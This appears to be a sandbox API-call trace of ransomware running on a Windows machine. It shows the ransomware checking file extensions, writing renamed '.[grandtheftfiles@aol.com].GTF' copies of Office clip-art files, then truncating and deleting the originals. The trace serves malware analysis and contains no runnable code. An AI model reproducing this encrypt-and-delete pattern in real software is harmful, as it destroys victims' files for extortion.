	[0175.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68
	[0175.102] lstrlenW (lpString=".zip") returned 4
	[0175.102] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0175.102] lstrlenW (lpString=".rar") returned 4
	[0175.102] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0175.102] lstrlenW (lpString=".bz2") returned 4
	[0175.102] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0175.102] lstrlenW (lpString=".7z") returned 3
	[0175.102] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0175.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68
	[0175.102] lstrlenW (lpString=".dbf") returned 4
	[0175.102] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0175.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68
	[0175.103] lstrlenW (lpString=".1cd") returned 4
	[0175.103] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0175.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68
	[0175.103] lstrlenW (lpString=".jpg") returned 4
	[0175.103] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0175.103] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0175.103] lstrlenW (lpString="J0151047.WMF") returned 12
	[0175.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151047.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0175.103] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=18500) returned 1
	[0175.104] CloseHandle (hObject=0x564) returned 1
	[0175.104] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151047.wmf")) returned 0x220
	[0175.104] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151047.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0175.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151047.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0175.104] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.104] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151047.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0175.107] GetLastError () returned 0x0
	[0175.108] ReadFile (in: hFile=0x564, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x4844, lpOverlapped=0x0) returned 1
	[0175.201] WriteFile (in: hFile=0x428, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x4850, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x4850, lpOverlapped=0x0) returned 1
	[0175.203] ReadFile (in: hFile=0x564, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.203] WriteFile (in: hFile=0x428, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0175.203] SetEndOfFile (hFile=0x428) returned 1
	[0175.210] CloseHandle (hObject=0x428) returned 1
	[0175.212] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.212] SetEndOfFile (hFile=0x564) returned 1
	[0175.267] CloseHandle (hObject=0x564) returned 1
	[0175.267] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0175.267] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151047.wmf")) returned 1
	[0175.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68
	[0175.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68
	[0175.268] lstrlenW (lpString=".doc") returned 4
	[0175.268] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.268] lstrlenW (lpString=".docx") returned 5
	[0175.268] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0175.268] lstrlenW (lpString=".pdf") returned 4
	[0175.268] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.268] lstrlenW (lpString=".xls") returned 4
	[0175.268] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.268] lstrlenW (lpString=".xlsx") returned 5
	[0175.269] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0175.269] lstrlenW (lpString=".ppt") returned 4
	[0175.269] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68
	[0175.269] lstrlenW (lpString=".zip") returned 4
	[0175.269] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.269] lstrlenW (lpString=".rar") returned 4
	[0175.269] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.269] lstrlenW (lpString=".bz2") returned 4
	[0175.269] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.269] lstrlenW (lpString=".7z") returned 3
	[0175.269] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68
	[0175.269] lstrlenW (lpString=".dbf") returned 4
	[0175.269] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68
	[0175.269] lstrlenW (lpString=".1cd") returned 4
	[0175.269] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68
	[0175.269] lstrlenW (lpString=".jpg") returned 4
	[0175.269] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68
	[0175.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68
	[0175.269] lstrlenW (lpString=".doc") returned 4
	[0175.269] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.269] lstrlenW (lpString=".docx") returned 5
	[0175.269] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0175.269] lstrlenW (lpString=".pdf") returned 4
	[0175.269] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.270] lstrlenW (lpString=".xls") returned 4
	[0175.270] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.270] lstrlenW (lpString=".xlsx") returned 5
	[0175.270] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0175.270] lstrlenW (lpString=".ppt") returned 4
	[0175.270] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68
	[0175.270] lstrlenW (lpString=".zip") returned 4
	[0175.270] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.270] lstrlenW (lpString=".rar") returned 4
	[0175.270] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.270] lstrlenW (lpString=".bz2") returned 4
	[0175.270] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.270] lstrlenW (lpString=".7z") returned 3
	[0175.270] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68
	[0175.270] lstrlenW (lpString=".dbf") returned 4
	[0175.270] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68
	[0175.270] lstrlenW (lpString=".1cd") returned 4
	[0175.270] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF") returned 68
	[0175.270] lstrlenW (lpString=".jpg") returned 4
	[0175.270] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.270] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0175.270] lstrlenW (lpString="J0151063.WMF") returned 12
	[0175.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151063.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0175.271] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=10632) returned 1
	[0175.271] CloseHandle (hObject=0x564) returned 1
	[0175.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151063.wmf")) returned 0x220
	[0175.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151063.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0175.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151063.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0175.272] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.272] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151063.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0175.273] GetLastError () returned 0x0
	[0175.273] ReadFile (in: hFile=0x564, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x2988, lpOverlapped=0x0) returned 1
	[0175.488] WriteFile (in: hFile=0x530, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x2990, lpOverlapped=0x0) returned 1
	[0175.489] ReadFile (in: hFile=0x564, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.489] WriteFile (in: hFile=0x530, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0175.489] SetEndOfFile (hFile=0x530) returned 1
	[0175.490] CloseHandle (hObject=0x530) returned 1
	[0175.490] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.490] SetEndOfFile (hFile=0x564) returned 1
	[0175.492] CloseHandle (hObject=0x564) returned 1
	[0175.493] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0175.493] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151063.wmf")) returned 1
	[0175.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68
	[0175.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68
	[0175.494] lstrlenW (lpString=".doc") returned 4
	[0175.494] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.494] lstrlenW (lpString=".docx") returned 5
	[0175.494] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0175.494] lstrlenW (lpString=".pdf") returned 4
	[0175.494] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.494] lstrlenW (lpString=".xls") returned 4
	[0175.494] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.494] lstrlenW (lpString=".xlsx") returned 5
	[0175.494] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0175.494] lstrlenW (lpString=".ppt") returned 4
	[0175.494] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68
	[0175.494] lstrlenW (lpString=".zip") returned 4
	[0175.494] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.494] lstrlenW (lpString=".rar") returned 4
	[0175.494] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.494] lstrlenW (lpString=".bz2") returned 4
	[0175.495] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.495] lstrlenW (lpString=".7z") returned 3
	[0175.495] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68
	[0175.495] lstrlenW (lpString=".dbf") returned 4
	[0175.495] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68
	[0175.495] lstrlenW (lpString=".1cd") returned 4
	[0175.495] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68
	[0175.495] lstrlenW (lpString=".jpg") returned 4
	[0175.495] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68
	[0175.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68
	[0175.495] lstrlenW (lpString=".doc") returned 4
	[0175.495] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.495] lstrlenW (lpString=".docx") returned 5
	[0175.495] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0175.495] lstrlenW (lpString=".pdf") returned 4
	[0175.495] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.495] lstrlenW (lpString=".xls") returned 4
	[0175.495] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.495] lstrlenW (lpString=".xlsx") returned 5
	[0175.495] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0175.495] lstrlenW (lpString=".ppt") returned 4
	[0175.495] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68
	[0175.495] lstrlenW (lpString=".zip") returned 4
	[0175.495] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.495] lstrlenW (lpString=".rar") returned 4
	[0175.495] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.495] lstrlenW (lpString=".bz2") returned 4
	[0175.495] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.495] lstrlenW (lpString=".7z") returned 3
	[0175.495] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68
	[0175.496] lstrlenW (lpString=".dbf") returned 4
	[0175.496] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68
	[0175.496] lstrlenW (lpString=".1cd") returned 4
	[0175.496] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68
	[0175.496] lstrlenW (lpString=".jpg") returned 4
	[0175.496] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.496] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0175.496] lstrlenW (lpString="J0152430.WMF") returned 12
	[0175.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152430.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0175.499] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=14132) returned 1
	[0175.499] CloseHandle (hObject=0x564) returned 1
	[0175.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152430.wmf")) returned 0x220
	[0175.499] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152430.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0175.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152430.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0175.499] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.500] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152430.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0175.500] GetLastError () returned 0x0
	[0175.500] ReadFile (in: hFile=0x564, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x3734, lpOverlapped=0x0) returned 1
	[0175.618] WriteFile (in: hFile=0x530, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x3740, lpOverlapped=0x0) returned 1
	[0175.619] ReadFile (in: hFile=0x564, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0175.619] WriteFile (in: hFile=0x530, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0175.619] SetEndOfFile (hFile=0x530) returned 1
	[0175.619] CloseHandle (hObject=0x530) returned 1
	[0175.619] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.620] SetEndOfFile (hFile=0x564) returned 1
	[0175.622] CloseHandle (hObject=0x564) returned 1
	[0175.623] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0175.761] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152430.wmf")) returned 1
	[0175.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68
	[0175.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68
	[0175.762] lstrlenW (lpString=".doc") returned 4
	[0175.762] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.762] lstrlenW (lpString=".docx") returned 5
	[0175.762] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0175.762] lstrlenW (lpString=".pdf") returned 4
	[0175.762] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.762] lstrlenW (lpString=".xls") returned 4
	[0175.762] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.762] lstrlenW (lpString=".xlsx") returned 5
	[0175.762] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0175.762] lstrlenW (lpString=".ppt") returned 4
	[0175.762] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0175.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68
	[0175.763] lstrlenW (lpString=".zip") returned 4
	[0175.763] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0175.763] lstrlenW (lpString=".rar") returned 4
	[0175.763] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0175.763] lstrlenW (lpString=".bz2") returned 4
	[0175.763] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0175.763] lstrlenW (lpString=".7z") returned 3
	[0175.763] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0175.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68
	[0175.763] lstrlenW (lpString=".dbf") returned 4
	[0175.763] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0175.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68
	[0175.763] lstrlenW (lpString=".1cd") returned 4
	[0175.763] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0175.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68
	[0175.763] lstrlenW (lpString=".jpg") returned 4
	[0175.763] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0175.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68
	[0175.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF") returned 68
	[0175.763] lstrlenW (lpString=".doc") returned 4
	[0175.763] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0175.763] lstrlenW (lpString=".docx") returned 5
	[0175.763] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0175.763] lstrlenW (lpString=".pdf") returned 4
	[0175.763] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0175.763] lstrlenW (lpString=".xls") returned 4
	[0175.763] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0175.763] lstrlenW (lpString=".xlsx") returned 5
	[0175.763] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0175.763] lstrlenW (lpString=".ppt") returned 4
	[0175.764] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
